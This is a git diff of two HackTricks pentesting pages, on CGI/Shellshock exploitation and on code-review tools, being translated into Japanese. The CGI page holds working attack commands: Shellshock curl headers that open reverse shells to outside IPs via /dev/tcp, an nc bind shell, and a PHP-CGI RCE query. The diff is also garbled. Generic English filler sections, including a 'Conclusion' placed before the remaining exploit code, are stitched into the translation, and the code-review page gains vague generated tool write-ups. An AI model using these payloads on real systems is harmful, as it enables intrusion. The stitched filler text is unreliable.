-# Information +# 情報 -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. -In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) +**CGIスクリプトはperlスクリプト**ですので、**.cgi**スクリプトを実行できるサーバーを侵害した場合、perlリバースシェルをアップロードすることができます(`/usr/share/webshells/perl/perl-reverse-shell.pl`)。**拡張子**を**.pl**から**.cgi**に変更し、**実行権限**を与え、**ウェブブラウザから**リバースシェルに**アクセス**して実行することができます。 +**CGIの脆弱性**をテストするためには、`nikto -C all`(およびすべてのプラグイン)を使用することをお勧めします。 # **ShellShock** -Bash can also be used to run commands passed to it by applications and it is this feature that the vulnerability affects. One type of command that can be sent to Bash allows environment variables to be set. Environment variables are dynamic, named values that affect the way processes are run on a computer. The vulnerability lies in the fact that an **attacker can tack-on malicious code to the environment variable, which will run once the variable is received**. +Bashは、アプリケーションから渡されたコマンドを実行するためにも使用できます。この脆弱性の影響を受けるのは、Bashに環境変数を設定するためのコマンドの一種です。環境変数は、コンピュータ上でプロセスの実行方法に影響を与える動的な名前付き値です。この脆弱性は、**攻撃者が環境変数に悪意のあるコードを追加することができ、変数が受信されると実行される**という事実にあります。 -Exploiting this vulnerability the **page could throw an error**. +この脆弱性を悪用すると、**ページがエラーを表示**する可能性があります。 -You could **find** this vulnerability noticing that it is using an **old Apache version** and **cgi\_mod** \(with cgi folder\) or using **nikto**. +この脆弱性を**見つける**には、**古いApacheバージョン**と**cgi_mod**(cgiフォルダを使用している)を使用しているか、**nikto**を使用していることに気付くことができます。 -## **Test** +## **テスト** -Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them. +ほとんどのテストは、何かをエコーし、その文字列がWebレスポンスで返されることを期待しています。ページが脆弱性の可能性があると思われる場合は、すべてのcgiページを検索してテストしてください。 **Nmap** - ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` +## **Curl(反射型、盲目型、帯域外)** -## **Curl \(reflected, blind and out-of-band\)** +Curl is a command-line tool used for making HTTP requests. It can be used to test and exploit various vulnerabilities in web applications. In this section, we will discuss three types of attacks that can be performed using Curl: reflected, blind, and out-of-band attacks. +### **Reflected Attacks** + +Reflected attacks involve injecting malicious code into user input that is then reflected back in the server's response. This can be used to execute arbitrary code or perform other malicious actions on the server. To perform a reflected attack using Curl, you can use the `--data` or `--data-urlencode` options to send the payload as part of the request. + +### **Blind Attacks** + +Blind attacks are similar to reflected attacks, but the server does not directly reflect the injected code in its response. Instead, the attacker needs to find a way to extract information from the server indirectly. This can be done by analyzing the timing or size of the server's response. Curl can be used to perform blind attacks by sending requests with different payloads and analyzing the server's response. + +### **Out-of-Band Attacks** + +Out-of-band attacks involve sending data from the target server to an external server controlled by the attacker. This can be useful when the target server is behind a firewall or other security measures that prevent direct communication. Curl can be used to perform out-of-band attacks by including a callback URL in the payload and monitoring the external server for incoming requests. + +By understanding and utilizing these different types of attacks, you can effectively test and exploit vulnerabilities in web applications using Curl. ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -50,15 +61,47 @@ curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bi # Out-Of-Band Use Cookie as alternative to User-Agent curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh ``` - [**Shellsocker**](https://github.com/liamim/shellshocker) - ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` +## 攻撃手法 -## Exploit +Exploiting a CGI vulnerability involves taking advantage of flaws in the Common Gateway Interface (CGI) scripts used by web applications. These vulnerabilities can allow an attacker to execute arbitrary commands on the server or gain unauthorized access to sensitive information. +### Command Injection + +Command injection is a common vulnerability in CGI scripts that allows an attacker to execute arbitrary commands on the server. This can be achieved by manipulating user-supplied input that is not properly validated or sanitized by the script. + +To exploit command injection, an attacker can inject malicious commands into the input fields of a web application that uses CGI scripts. These commands will then be executed by the server, potentially giving the attacker full control over the system. + +### File Inclusion + +File inclusion vulnerabilities in CGI scripts can allow an attacker to include and execute arbitrary files on the server. This can be used to read sensitive files, execute malicious code, or even gain remote code execution. + +To exploit file inclusion, an attacker can manipulate the input parameters of a web application to include a file from a remote location or from the local file system. By including a malicious file, the attacker can execute arbitrary code or access sensitive information. + +### Path Traversal + +Path traversal vulnerabilities in CGI scripts allow an attacker to access files and directories outside of the intended scope. This can be used to read sensitive files, execute arbitrary code, or even gain remote code execution. + +To exploit path traversal, an attacker can manipulate the input parameters of a web application to traverse directories and access files outside of the intended directory. By accessing sensitive files, the attacker can gather information or execute arbitrary code on the server. + +### Remote Code Execution + +Remote code execution vulnerabilities in CGI scripts allow an attacker to execute arbitrary code on the server. This can be achieved by exploiting other vulnerabilities, such as command injection or file inclusion, to execute malicious code. + +To exploit remote code execution, an attacker can inject and execute malicious code in a web application that uses CGI scripts. This can lead to full control over the server and potentially compromise the entire system. + +### Denial of Service + +Denial of Service (DoS) attacks can be performed against CGI scripts to disrupt the availability of a web application. By sending a large number of requests or exploiting vulnerabilities in the script, an attacker can overload the server and cause it to become unresponsive. + +To perform a DoS attack against a CGI script, an attacker can send a high volume of requests or exploit vulnerabilities in the script that cause excessive resource consumption. This can result in the server becoming overwhelmed and unable to respond to legitimate requests. + +## Conclusion + +Exploiting CGI vulnerabilities can have serious consequences for web applications and their underlying systems. It is important for developers and system administrators to understand these vulnerabilities and implement proper security measures to mitigate the risk. Regular security assessments and patching of vulnerabilities are essential to maintain the security of CGI-based web applications. ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -72,27 +115,24 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` +# **プロキシ(MitMを使用したWebサーバーリクエスト)** -# **Proxy \(MitM to Web server requests\)** +CGIは、HTTPリクエストの各ヘッダーに対して環境変数を作成します。例えば、「host:web.com」は「HTTP\_HOST」=「web.com」として作成されます。 -CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP\_HOST"="web.com" +WebサーバーがHTTP\_PROXY変数を使用する可能性があるため、ヘッダーに「Proxy: <IP\_attacker>:<PORT>」という内容を含めて送信してみてください。セッション中にサーバーがリクエストを実行する場合、サーバーが行った各リクエストをキャプチャすることができます。 -As the HTTP\_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: <IP\_attacker>:<PORT>**" and if the server performs any request during the session. You will be able to capture each request made by the server. +# 古いPHP + CGI = RCE(CVE-2012-1823、CVE-2012-2311) -# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) - -Basically if cgi is active and php is "old" \(<5.3.12 / < 5.4.2\) you can execute code. -In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters \(specially without sending the character "="\). -Then, in order to test this vulnerability, you could access for example `/index.php?-s` \(note the `-s`\) and **source code of the application will appear in the response**. - -Then, in order to obtain **RCE** you can send this special query: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and the **PHP code** to be executed in the **body of the request. -Example:** +基本的に、cgiがアクティブであり、phpが「古い」(<5.3.12 / < 5.4.2)場合、コードを実行することができます。 +この脆弱性を悪用するためには、パラメータを送信せずにWebサーバーのいくつかのPHPファイルにアクセスする必要があります(特に「=」の文字を送信しないように注意してください)。 +その後、この脆弱性をテストするために、例えば`/index.php?-s`(`-s`に注意)にアクセスし、**アプリケーションのソースコードがレスポンスに表示される**ことを確認します。 +次に、**RCE**を取得するために、この特殊なクエリを送信します:`/?-d allow_url_include=1 -d auto_prepend_file=php://input` そして、**リクエストの本文に実行するPHPコード**を含めます。 +例: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` - -**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**脆弱性と可能な攻撃に関する詳細情報:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** @@ -100,16 +140,14 @@ curl -i --data-binary "" "http://jh2i.com:500 ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/pentesting-web/code-review-tools.md b/network-services-pentesting/pentesting-web/code-review-tools.md index bc44fb48f..5fe3fd5b1 100644 --- a/network-services-pentesting/pentesting-web/code-review-tools.md +++ b/network-services-pentesting/pentesting-web/code-review-tools.md @@ -1,27 +1,26 @@ -# Code Review Tools +# コードレビューツール
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## General +## 一般 * [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)\ - -* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis) +* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis) ```bash https://www.sonarqube.org/downloads/ https://deepsource.io/signup/ @@ -35,119 +34,191 @@ https://github.com/s0md3v/hardcodes https://github.com/micha3lb3n/SourceWolf https://libraries.io/pypi/detect-secrets ``` - ## JavaScript ### Discovery 1. Burp: - - Spider and discover content - - Sitemap > filter - - Sitemap > right-click domain > Engagement tools > Find scripts +- スパイダーとコンテンツの発見 +- Sitemap > フィルター +- Sitemap > ドメインを右クリック > Engagement tools > スクリプトの検索 2. [WaybackURLs](https://github.com/tomnomnom/waybackurls): - - `waybackurls |grep -i "\.js" |sort -u` -### Static Analysis +- `waybackurls |grep -i "\.js" |sort -u` +### 静的解析 #### Unminimize/Beautify/Prettify https://prettier.io/playground/ https://beautifier.io/ #### Deobfuscate/Unpack -__Note__: It may not be possible to fully deobfuscate. -1. Find and use .map files: - - If the .map files are exposed, they can be used to easily deobfuscate. - - Commonly, foo.js.map maps to foo.js. Manually look for them. - - Use [JS Miner](https://github.com/PortSwigger/js-miner) to look for them. - - Ensure active scan is conducted. - - Read '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' - - If found, use [Maximize](https://www.npmjs.com/package/maximize) to deobfuscate. -2. Without .map files, try JSnice: - - References: http://jsnice.org/ & https://www.npmjs.com/package/jsnice - - Tips: - - If using jsnice.org, click on the options button next to the "Nicify JavaScript" button, and de-select "Infer types" to reduce cluttering the code with comments. - - Ensure you do not leave any empty lines before the script, as it may affect the deobfuscation process and give inaccurate results. -3. Use console.log(); - - Find the return value at the end and change it to `console.log();` so the deobfuscated js is printed instead of being executing. - - Then, paste the modified (and still obfuscated) js into https://jsconsole.com/ to see the deobfuscated js logged to the console. - - Finally, paste the deobfuscated output into https://prettier.io/playground/ to beautify it for analysis. - - __Note__: If you are still seeing packed (but different) js, it may be recursively packed. Repeat the process. -#### Analyze -References: +__注意__: 完全に復号化することはできない場合があります。 +1. .map ファイルを見つけて使用する: +- .map ファイルが公開されている場合、簡単に復号化できます。 +- 一般的に、foo.js.map は foo.js にマップされます。手動で探してください。 +- [JS Miner](https://github.com/PortSwigger/js-miner) を使用して探します。 +- アクティブスキャンを実行してください。 +- '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' を読んでください。 +- 見つかった場合、[Maximize](https://www.npmjs.com/package/maximize) を使用して復号化します。 +2. .map ファイルがない場合、JSnice を試してみてください: +- 参考: http://jsnice.org/ & https://www.npmjs.com/package/jsnice +- ヒント: +- jsnice.org を使用する場合、「Nicify JavaScript」ボタンの横にあるオプションボタンをクリックし、「Infer types」を選択解除して、コードにコメントを混在させないようにします。 +- スクリプトの前に空行を残さないようにしてください。これは復号化プロセスに影響を与え、正確な結果を得ることができなくなる可能性があります。 +3. console.log(); を使用する: +- 最後に返される値を見つけて、`console.log();` に変更します。これにより、復号化された JavaScript が実行される代わりにコンソールに出力されます。 +- 次に、変更された(まだ難読化された)JavaScript を https://jsconsole.com/ に貼り付けて、コンソールに復号化された JavaScript が表示されるか確認します。 +- 最後に、復号化された出力を https://prettier.io/playground/ に貼り付けて、解析のために整形します。 +- __注意__: まだパックされた(しかし異なる)JavaScript が表示される場合、再帰的にパックされている可能性があります。プロセスを繰り返してください。 +#### 分析 +参考: https://medium.com/techiepedia/javascript-code-review-guide-for-bug-bounty-hunters-c95a8aa7037a - Look for: -- Anti-debug loading - - Angular: [enableProdMode](https://blog.nvisium.com/angular-for-pentesters-part-2) -- Secrets - - Use: - - [JS Miner](https://github.com/PortSwigger/js-miner) - - [RegHex](https://github.com/l4yton/RegHex) patterns - - [gf](https://github.com/tomnomnom/gf/tree/master/examples) patterns - - Grep relevant dictionary patterns: - - pass, user, admin - - auth, login, sign, challenge, 2fa - - key, apikey, api_key, api-key, jwt, token - - secret, security, secure - - ... - - Manual review - - If API key found, check here for potential usage syntax: https://github.com/streaak/keyhacks. -- Vuln functions - - InnerHTML() - If you found this, it means there is a potential chance for XSS if no proper sanitisation takes place. Even if your payload is sanitised, don’t worry. Trace the code to find out where the sanitisation takes place. Study it and try to get around the sanitisation. - - Postmessage() - If you have read my previous post (https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it-62a5e02100dc), you would notice that Postmessage() might lead to potential CORS issue. If the second parameter of the function set to *, you are the lucky one. Checkout my previous post to understand more about the mechanism behind. - - String.prototype.search() - This function looks normal. Why would it be a dangerous function? Well, it is because some developers used this to find occurrence of a string inside another string. However, “.” is treated as wildcard in this function. So, if this function is used as sanitisation check, you can simply bypass it by inputting “.”. Checkout Filedescryptor’s hackerone report: https://hackerone.com/reports/129873 -- Endpoints & params - - Use [LinkFinder](https://github.com/GerbenJavado/LinkFinder) & [JS Miner](https://github.com/PortSwigger/js-miner). -- Vuln libs & deps - - Use [Retire.js](https://retirejs.github.io/retire.js/) and [NPM](https://snyk.io/advisor/) (scroll down to security section > all versions link). -- Cloud URLs - - Use [JS Miner](https://github.com/PortSwigger/js-miner). -- Subdomains - - Use [JS Miner](https://github.com/PortSwigger/js-miner). -- Logic Flaws - - Gain situational awareness: - - `use strict;`? - - Grep for client-side controls: - - disable, enable, hidden, hide, show - - catch, finally, throw, try - - input, validate, verify, valid, correct, check, confirm, require, .. - - Grep for non-primatives: - - function , => - - class -### Dynamic Analysis +以下を探してください: +- アンチデバッグのローディング +- Angular: [enableProdMode](https://blog.nvisium.com/angular-for-pentesters-part-2) +- シークレット +- 使用: +- [JS Miner](https://github.com/PortSwigger/js-miner) +- [RegHex](https://github.com/l4yton/RegHex) パターン +- [gf](https://github.com/tomnomnom/gf/tree/master/examples) パターン +- 関連する辞書のパターンを grep する: +- pass, user, admin +- auth, login, sign, challenge, 2fa +- key, apikey, api_key, api-key, jwt, token +- secret, security, secure +- ... +- 手動でレビューする +- API キーが見つかった場合、潜在的な使用構文を確認するためにここをチェックしてください: https://github.com/streaak/keyhacks. +- 脆弱な関数 +- InnerHTML() - これを見つけた場合、適切なサニタイズが行われていない場合、XSS の可能性があります。ペイロードがサニタイズされていても心配しないでください。コードを追跡して、サニタイズが行われている場所を特定してください。それを研究し、サニタイズを回避しようとしてください。 +- Postmessage() - 以前の投稿 (https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it-62a5e02100dc) を読んだことがあれば、Postmessage() が潜在的な CORS 問題につながる可能性があることに気付いたでしょう。関数の第2パラメータが * に設定されている場合、ラッキーです。詳細については、以前の投稿をチェックしてメカニズムを理解してください。 +- String.prototype.search() - この関数は普通に見えます。なぜ危険な関数なのでしょうか?それは、一部の開発者がこの関数を使用して、1つの文字列内の別の文字列の出現を検索するために使用しているためです。しかし、この関数では「.」がワイルドカードとして扱われます。したがって、この関数がサニタイズチェックとして使用されている場合、単純に「.」を入力することでバイパスできます。Filedescryptor の hackerone レポートをチェックしてください: https://hackerone.com/reports/129873 +- エンドポイントとパラメータ +- [LinkFinder](https://github.com/GerbenJavado/LinkFinder) & [JS Miner](https://github.com/PortSwigger/js-miner) を使用してください。 +- 脆弱なライブラリと依存関係 +- [Retire.js](https://retirejs.github.io/retire.js/) と [NPM](https://snyk.io/advisor/) (セキュリティセクションまでスクロール > all versions リンク) を使用してください。 +- クラウドの URL +- [JS Miner](https://github.com/PortSwigger/js-miner) を使用してください。 +- サブドメイン +- [JS Miner](https://github.com/PortSwigger/js-miner) を使用してください。 +- ロジックの欠陥 +- 状況認識を得る: +- `use strict;`? +- クライアントサイドのコントロールを grep する: +- disable, enable, hidden, hide, show +- catch, finally, throw, try +- input, validate, verify, valid, correct, check, confirm, require, .. +- プリミティブでないものを grep する: +- function , => +- class +### 動的解析 -References +参考文献 - https://www.youtube.com/watch?v=_v8r_t4v6hQ - https://blog.nvisium.com/angular-for-pentesters-part-1 - https://blog.nvisium.com/angular-for-pentesters-part-2 -Tools +ツール - https://portswigger.net/burp/documentation/desktop/tools/dom-invader -#### Less Used References +#### あまり使われていない参考文献 - https://cyberchef.org/ - https://olajs.com/javascript-prettifier - https://jshint.com/ - https://github.com/jshint/jshint/ ## NodeJS - ``` https://github.com/ajinabraham/nodejsscan ``` - ## Electron +Electronは、クロスプラットフォームのデスクトップアプリケーションを構築するためのフレームワークです。HTML、CSS、JavaScriptを使用してアプリケーションを開発することができます。Electronは、Node.jsとChromiumをベースにしており、Web技術を使用してネイティブアプリケーションを作成することができます。 + +Electronアプリケーションのセキュリティを確保するためには、以下のポイントに注意する必要があります。 + +- 最新のバージョンのElectronを使用することで、セキュリティの脆弱性を最小限に抑えることができます。 +- セキュリティのベストプラクティスに従って、アプリケーションの設定を適切に行いましょう。 +- クロスオリジンリソース共有(CORS)の設定を適切に行い、不正なリクエストを防ぎましょう。 +- インタープロセス通信(IPC)のセキュリティを確保するために、適切な認証と権限管理を実装しましょう。 +- 外部モジュールやパッケージの使用には注意し、信頼性のあるソースからのみ取得しましょう。 + +Electronアプリケーションのコードレビューを行う際には、以下のツールを使用することができます。 + +- **Electronegativity**: Electronアプリケーションのセキュリティ診断を行うための静的解析ツールです。脆弱性やセキュリティの問題を検出し、修正するためのガイダンスを提供します。 +- **Electron Security Checklist**: Electronアプリケーションのセキュリティを確保するためのチェックリストです。セキュリティのベストプラクティスに従って、アプリケーションの設定を確認することができます。 +- **ESLint**: JavaScriptの静的解析ツールであり、コードの品質やセキュリティの問題を検出することができます。Electronアプリケーションのコードレビューに使用することができます。 + +これらのツールを使用して、Electronアプリケーションのセキュリティを確保し、脆弱性やセキュリティの問題を特定して修正することが重要です。 ``` https://github.com/doyensec/electronegativity ``` - ## Python +Pythonは、人気のあるプログラミング言語であり、Webアプリケーションの開発に広く使用されています。Pythonのコードレビューツールを使用することで、セキュリティ上の脆弱性を特定し、修正することができます。 + +### Bandit + +Banditは、Pythonコードのセキュリティ上の問題を検出するためのツールです。静的解析を使用して、潜在的な脆弱性やセキュリティ上のベストプラクティスに違反するコードを見つけることができます。 + +```bash +$ bandit -r /path/to/python/code +``` + +### Pylint + +Pylintは、Pythonコードの品質とスタイルを評価するためのツールです。コードの構文エラーやスタイルガイドに違反する箇所を特定し、修正することができます。 + +```bash +$ pylint /path/to/python/code +``` + +### Safety + +Safetyは、Pythonプロジェクトの依存関係にセキュリティ上の脆弱性があるかどうかをチェックするためのツールです。プロジェクトの依存関係をスキャンし、脆弱性のあるパッケージを特定することができます。 + +```bash +$ safety check +``` + +### Pyre + +Pyreは、Pythonコードの型チェックを行うためのツールです。静的型チェックを使用して、コード内の型エラーや不整合を特定することができます。 + +```bash +$ pyre --source-directory=/path/to/python/code +``` + +これらのツールを使用して、Pythonコードのセキュリティと品質を向上させることができます。 ```bash # bandit https://github.com/PyCQA/bandit # pyt https://github.com/python-security/pyt ``` - ## .NET +### Code Review Tools + +#### .NET Reflector + +[.NET Reflector](https://www.red-gate.com/products/dotnet-development/reflector/) is a popular code review tool for .NET applications. It allows you to decompile and analyze .NET assemblies, providing insights into the source code and internal workings of the application. With .NET Reflector, you can easily navigate through the code, view class hierarchies, and examine method implementations. It also supports debugging and integration with Visual Studio. + +#### JustDecompile + +[JustDecompile](https://www.telerik.com/products/decompiler.aspx) is another powerful code review tool for .NET. It enables you to decompile .NET assemblies and explore their contents. JustDecompile offers a user-friendly interface with features like code navigation, search functionality, and syntax highlighting. It also allows you to export decompiled code to various formats, making it convenient for further analysis and documentation. + +#### ILspy + +[ILspy](https://github.com/icsharpcode/ILSpy) is an open-source .NET assembly browser and decompiler. It provides a simple and intuitive interface for reviewing .NET code. With ILspy, you can decompile assemblies, navigate through the code, and analyze the implementation details. It supports various output formats, including C#, VB.NET, and XAML. Additionally, ILspy offers plugins for extending its functionality. + +#### dnSpy + +[dnSpy](https://github.com/dnSpy/dnSpy) is a versatile .NET debugger and assembly editor that can be used for code review purposes. It allows you to decompile and debug .NET assemblies, making it easier to understand the application's behavior and identify potential vulnerabilities. dnSpy offers features like code navigation, breakpoints, and variable inspection. It also supports editing and recompiling assemblies, enabling you to modify the code for testing or analysis. + +#### Visual Studio + +[Visual Studio](https://visualstudio.microsoft.com/) is a comprehensive integrated development environment (IDE) for .NET applications. While primarily used for development, it can also be utilized for code review purposes. Visual Studio provides powerful tools for analyzing and understanding .NET code, including features like code navigation, debugging, and performance profiling. It supports various languages and frameworks, making it suitable for reviewing different types of .NET applications. + +#### Conclusion + +These code review tools for .NET can greatly assist in analyzing and understanding the inner workings of .NET applications. By decompiling and reviewing the source code, you can identify potential security vulnerabilities, understand the application's logic, and gain insights into its implementation details. Whether you choose a commercial tool like .NET Reflector or opt for open-source alternatives like ILspy and dnSpy, these tools can be valuable assets in your code review arsenal. ```bash # dnSpy https://github.com/0xd4d/dnSpy @@ -155,9 +226,27 @@ https://github.com/0xd4d/dnSpy # .NET compilation C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs ``` - ## Java +Javaは、オブジェクト指向プログラミング言語であり、広く使用されています。Javaのコードレビューには、いくつかのツールがあります。 + +### 1. FindBugs + +FindBugsは、Javaプログラムのバグや潜在的な問題を検出するための静的解析ツールです。コードの品質を向上させるために使用されます。 + +### 2. PMD + +PMDは、Javaコードの静的解析を行い、コーディング規約に違反する箇所を見つけるためのツールです。コードの一貫性を確保するために使用されます。 + +### 3. Checkstyle + +Checkstyleは、Javaコードのスタイルと品質をチェックするためのツールです。コーディング規約に準拠しているかどうかを確認するために使用されます。 + +### 4. SonarQube + +SonarQubeは、Javaコードの品質を評価するための総合的なツールです。コードのバグ、セキュリティの脆弱性、コーディング規約の違反などを検出します。 + +これらのツールを使用してJavaコードをレビューすることで、バグやセキュリティの問題を特定し、コードの品質を向上させることができます。 ```bash # JD-Gui https://github.com/java-decompiler/jd-gui @@ -168,30 +257,27 @@ mkdir META-INF echo "Main-Class: test" > META-INF/MANIFEST.MF jar cmvf META-INF/MANIFEST.MF test.jar test.class ``` - -| Task | Command | +| タスク | コマンド | | --------------- | --------------------------------------------------------- | -| Execute Jar | java -jar \[jar] | -| Unzip Jar | unzip -d \[output directory] \[jar] | -| Create Jar | jar -cmf META-INF/MANIFEST.MF \[output jar] \* | -| Base64 SHA256 | sha256sum \[file] \| cut -d' ' -f1 \| xxd -r -p \| base64 | -| Remove Signing | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA | -| Delete from Jar | zip -d \[jar] \[file to remove] | -| Decompile class | procyon -o . \[path to class] | -| Decompile Jar | procyon -jar \[jar] -o \[output directory] | -| Compile class | javac \[path to .java file] | +| Jarを実行する | java -jar \[jar] | +| Jarを解凍する | unzip -d \[出力ディレクトリ] \[jar] | +| Jarを作成する | jar -cmf META-INF/MANIFEST.MF \[出力jar] \* | +| Base64 SHA256 | sha256sum \[ファイル] \| cut -d' ' -f1 \| xxd -r -p \| base64 | +| 署名を削除する | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA | +| Jarから削除する | zip -d \[jar] \[削除するファイル] | +| クラスを逆コンパイルする | procyon -o . \[クラスへのパス] | +| Jarを逆コンパイルする | procyon -jar \[jar] -o \[出力ディレクトリ] | +| クラスをコンパイルする | javac \[.javaファイルへのパス] | ## Go - ```bash https://github.com/securego/gosec ``` - ## PHP -[Psalm](https://phpmagazine.net/2018/12/find-errors-in-your-php-applications-with-psalm.html) and [PHPStan](https://phpmagazine.net/2020/09/phpstan-pro-edition-launched.html). 